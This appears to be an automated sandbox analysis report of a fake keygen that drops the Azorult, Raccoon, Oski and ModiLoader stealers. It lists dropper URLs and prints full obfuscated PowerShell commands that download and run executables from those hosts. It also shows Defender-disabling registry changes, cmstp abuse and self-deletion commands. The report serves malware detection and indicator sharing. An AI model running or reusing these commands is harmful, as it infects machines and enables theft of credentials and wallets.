azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
49s
max time network
162s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (36) — копия.exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 01:16:59 GMT Bot_ID: 664A9041-4AC4-46F3-B3DC-87DB4D57890E_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: GOHCSFBB - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (801 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral178/memory/4024-310-0x000000000B350000-0x000000000B355000-memory.dmp	disable_win_def
behavioral178/memory/5072-317-0x000000000B650000-0x000000000B653000-memory.dmp	disable_win_def
C:\Windows\Temp\fosxtzfu.exe	disable_win_def
C:\Windows\temp\fosxtzfu.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Y3pph7FPdX.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 188 powershell.exe
10 1564 powershell.exe
12 188 powershell.exe
14 1564 powershell.exe
15 4408 powershell.exe
17 4408 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	188	powershell.exe
10	1564	powershell.exe
12	188	powershell.exe
14	1564	powershell.exe
15	4408	powershell.exe
17	4408	powershell.exe

Executes dropped EXE 24 IoCs

Processes:

Keygen.exemne.exefhl.exeFVjhgtresfdbv.exerni.exeNHtrdsaghfDF.exefhl.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exerni.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemne.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeYVWM0iD9go.exeY3pph7FPdX.exeBv07SAZUyT.exeer5KgILQSp.exefosxtzfu.exe

pid	process
1824	Keygen.exe
5000	mne.exe
4988	fhl.exe
4172	FVjhgtresfdbv.exe
4184	rni.exe
4200	NHtrdsaghfDF.exe
4360	fhl.exe
4352	FVjhgtresfdbv.exe
2096	NHtrdsaghfDF.exe
4588	FVjhgtresfdbv.exe
2076	NHtrdsaghfDF.exe
4772	rni.exe
3924	FVjhgtresfdbv.exe
4512	NHtrdsaghfDF.exe
200	mne.exe
4620	hgfnmbasdo.exe
2852	hgfnmbasdo.exe
4908	axcsdfa.exe
4716	axcsdfa.exe
4548	YVWM0iD9go.exe
5076	Y3pph7FPdX.exe
4024	Bv07SAZUyT.exe
5072	er5KgILQSp.exe
4224	fosxtzfu.exe

Loads dropped DLL 17 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exefhl.exehgfnmbasdo.exe

pid	process
3924	FVjhgtresfdbv.exe
4588	FVjhgtresfdbv.exe
3924	FVjhgtresfdbv.exe
3924	FVjhgtresfdbv.exe
4588	FVjhgtresfdbv.exe
4588	FVjhgtresfdbv.exe
4360	fhl.exe
2852	hgfnmbasdo.exe
2852	hgfnmbasdo.exe
2852	hgfnmbasdo.exe
4360	fhl.exe
4360	fhl.exe
4360	fhl.exe
4360	fhl.exe
4360	fhl.exe
4360	fhl.exe
4360	fhl.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

er5KgILQSp.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	er5KgILQSp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	er5KgILQSp.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

fhl.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini fhl.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	fhl.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

fhl.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exerni.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemne.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 4988 set thread context of 4360	4988	fhl.exe	fhl.exe
PID 4172 set thread context of 4588	4172	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4200 set thread context of 2076	4200	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4184 set thread context of 4772	4184	rni.exe	rni.exe
PID 4352 set thread context of 3924	4352	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2096 set thread context of 4512	2096	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 5000 set thread context of 200	5000	mne.exe	mne.exe
PID 4620 set thread context of 2852	4620	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 4908 set thread context of 4716	4908	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

2696 timeout.exe
3352 timeout.exe
4432 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4216 taskkill.exe
4840 taskkill.exe
2608 taskkill.exe
5028 taskkill.exe

pid	process
2696	timeout.exe
3352	timeout.exe
4432	timeout.exe

pid	process
4216	taskkill.exe
4840	taskkill.exe
2608	taskkill.exe
5028	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exemne.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	mne.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeBv07SAZUyT.exe

pid	process
188	powershell.exe
1564	powershell.exe
208	powershell.exe
1972	powershell.exe
1972	powershell.exe
208	powershell.exe
1564	powershell.exe
188	powershell.exe
208	powershell.exe
188	powershell.exe
1564	powershell.exe
1564	powershell.exe
1972	powershell.exe
1972	powershell.exe
4408	powershell.exe
4408	powershell.exe
4568	powershell.exe
4568	powershell.exe
4408	powershell.exe
4568	powershell.exe
4408	powershell.exe
4568	powershell.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

fhl.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exerni.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4988 fhl.exe
4172 FVjhgtresfdbv.exe
4200 NHtrdsaghfDF.exe
4184 rni.exe
4352 FVjhgtresfdbv.exe
2096 NHtrdsaghfDF.exe

pid	process
4988	fhl.exe
4172	FVjhgtresfdbv.exe
4200	NHtrdsaghfDF.exe
4184	rni.exe
4352	FVjhgtresfdbv.exe
2096	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exemne.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exeBv07SAZUyT.exeer5KgILQSp.exepowershell.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	188	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	5000	mne.exe
Token: SeDebugPrivilege	4216	taskkill.exe
Token: SeDebugPrivilege	5028	taskkill.exe
Token: SeDebugPrivilege	4620	hgfnmbasdo.exe
Token: SeDebugPrivilege	4840	taskkill.exe
Token: SeDebugPrivilege	4908	axcsdfa.exe
Token: SeDebugPrivilege	4024	Bv07SAZUyT.exe
Token: SeDebugPrivilege	5072	er5KgILQSp.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	2608	taskkill.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exefhl.exerni.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeBv07SAZUyT.exe

pid	process
1824	Keygen.exe
4988	fhl.exe
4184	rni.exe
4172	FVjhgtresfdbv.exe
4200	NHtrdsaghfDF.exe
4352	FVjhgtresfdbv.exe
2096	NHtrdsaghfDF.exe
4024	Bv07SAZUyT.exe
4024	Bv07SAZUyT.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (36) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exefhl.exepowershell.exe

description	pid	process	target process
PID 3820 wrote to memory of 1224	3820	Keygen — копия (36) — копия.exe	cmd.exe
PID 3820 wrote to memory of 1224	3820	Keygen — копия (36) — копия.exe	cmd.exe
PID 3820 wrote to memory of 1224	3820	Keygen — копия (36) — копия.exe	cmd.exe
PID 1224 wrote to memory of 1824	1224	cmd.exe	Keygen.exe
PID 1224 wrote to memory of 1824	1224	cmd.exe	Keygen.exe
PID 1224 wrote to memory of 1824	1224	cmd.exe	Keygen.exe
PID 1224 wrote to memory of 2128	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 2128	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 2128	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 2480	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 2480	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 2480	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 2696	1224	cmd.exe	timeout.exe
PID 1224 wrote to memory of 2696	1224	cmd.exe	timeout.exe
PID 1224 wrote to memory of 2696	1224	cmd.exe	timeout.exe
PID 1224 wrote to memory of 3876	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 3876	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 3876	1224	cmd.exe	mshta.exe
PID 2480 wrote to memory of 208	2480	mshta.exe	powershell.exe
PID 2480 wrote to memory of 208	2480	mshta.exe	powershell.exe
PID 2480 wrote to memory of 208	2480	mshta.exe	powershell.exe
PID 2128 wrote to memory of 188	2128	mshta.exe	powershell.exe
PID 2128 wrote to memory of 188	2128	mshta.exe	powershell.exe
PID 2128 wrote to memory of 188	2128	mshta.exe	powershell.exe
PID 3876 wrote to memory of 1564	3876	mshta.exe	powershell.exe
PID 3876 wrote to memory of 1564	3876	mshta.exe	powershell.exe
PID 3876 wrote to memory of 1564	3876	mshta.exe	powershell.exe
PID 1224 wrote to memory of 1012	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 1012	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 1012	1224	cmd.exe	mshta.exe
PID 1012 wrote to memory of 1972	1012	mshta.exe	powershell.exe
PID 1012 wrote to memory of 1972	1012	mshta.exe	powershell.exe
PID 1012 wrote to memory of 1972	1012	mshta.exe	powershell.exe
PID 1224 wrote to memory of 3352	1224	cmd.exe	timeout.exe
PID 1224 wrote to memory of 3352	1224	cmd.exe	timeout.exe
PID 1224 wrote to memory of 3352	1224	cmd.exe	timeout.exe
PID 1224 wrote to memory of 4316	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 4316	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 4316	1224	cmd.exe	mshta.exe
PID 4316 wrote to memory of 4408	4316	mshta.exe	powershell.exe
PID 4316 wrote to memory of 4408	4316	mshta.exe	powershell.exe
PID 4316 wrote to memory of 4408	4316	mshta.exe	powershell.exe
PID 1224 wrote to memory of 4484	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 4484	1224	cmd.exe	mshta.exe
PID 1224 wrote to memory of 4484	1224	cmd.exe	mshta.exe
PID 4484 wrote to memory of 4568	4484	mshta.exe	powershell.exe
PID 4484 wrote to memory of 4568	4484	mshta.exe	powershell.exe
PID 4484 wrote to memory of 4568	4484	mshta.exe	powershell.exe
PID 188 wrote to memory of 4988	188	powershell.exe	fhl.exe
PID 188 wrote to memory of 4988	188	powershell.exe	fhl.exe
PID 188 wrote to memory of 4988	188	powershell.exe	fhl.exe
PID 1564 wrote to memory of 5000	1564	powershell.exe	mne.exe
PID 1564 wrote to memory of 5000	1564	powershell.exe	mne.exe
PID 1564 wrote to memory of 5000	1564	powershell.exe	mne.exe
PID 4988 wrote to memory of 4172	4988	fhl.exe	FVjhgtresfdbv.exe
PID 4988 wrote to memory of 4172	4988	fhl.exe	FVjhgtresfdbv.exe
PID 4988 wrote to memory of 4172	4988	fhl.exe	FVjhgtresfdbv.exe
PID 4408 wrote to memory of 4184	4408	powershell.exe	rni.exe
PID 4408 wrote to memory of 4184	4408	powershell.exe	rni.exe
PID 4408 wrote to memory of 4184	4408	powershell.exe	rni.exe
PID 4988 wrote to memory of 4200	4988	fhl.exe	NHtrdsaghfDF.exe
PID 4988 wrote to memory of 4200	4988	fhl.exe	NHtrdsaghfDF.exe
PID 4988 wrote to memory of 4200	4988	fhl.exe	NHtrdsaghfDF.exe
PID 4988 wrote to memory of 4360	4988	fhl.exe	fhl.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (36) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (36) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3820

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2EB7.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (36) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1224

C:\Users\Admin\AppData\Local\Temp\2EB7.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1824

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2EB7.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:188

C:\Users\Public\fhl.exe
"C:\Users\Public\fhl.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4988

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4172

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4588

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4588 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\593132043336378\\* & exit
8⤵
PID:4888

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4588
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4216

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4200

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2076

C:\Users\Public\fhl.exe
"C:\Users\Public\fhl.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4360

C:\Users\Admin\AppData\Local\Temp\YVWM0iD9go.exe
"C:\Users\Admin\AppData\Local\Temp\YVWM0iD9go.exe"
7⤵
- Executes dropped EXE
PID:4548

C:\Users\Admin\AppData\Local\Temp\Y3pph7FPdX.exe
"C:\Users\Admin\AppData\Local\Temp\Y3pph7FPdX.exe"
7⤵
- Executes dropped EXE
PID:5076

C:\Users\Admin\AppData\Local\Temp\Bv07SAZUyT.exe
"C:\Users\Admin\AppData\Local\Temp\Bv07SAZUyT.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4024

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\mdt2q113.inf
8⤵
PID:4912

C:\Users\Admin\AppData\Local\Temp\er5KgILQSp.exe
"C:\Users\Admin\AppData\Local\Temp\er5KgILQSp.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:5072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\fhl.exe"
7⤵
PID:5004

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4432

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2EB7.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:208

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2696

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2EB7.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1564

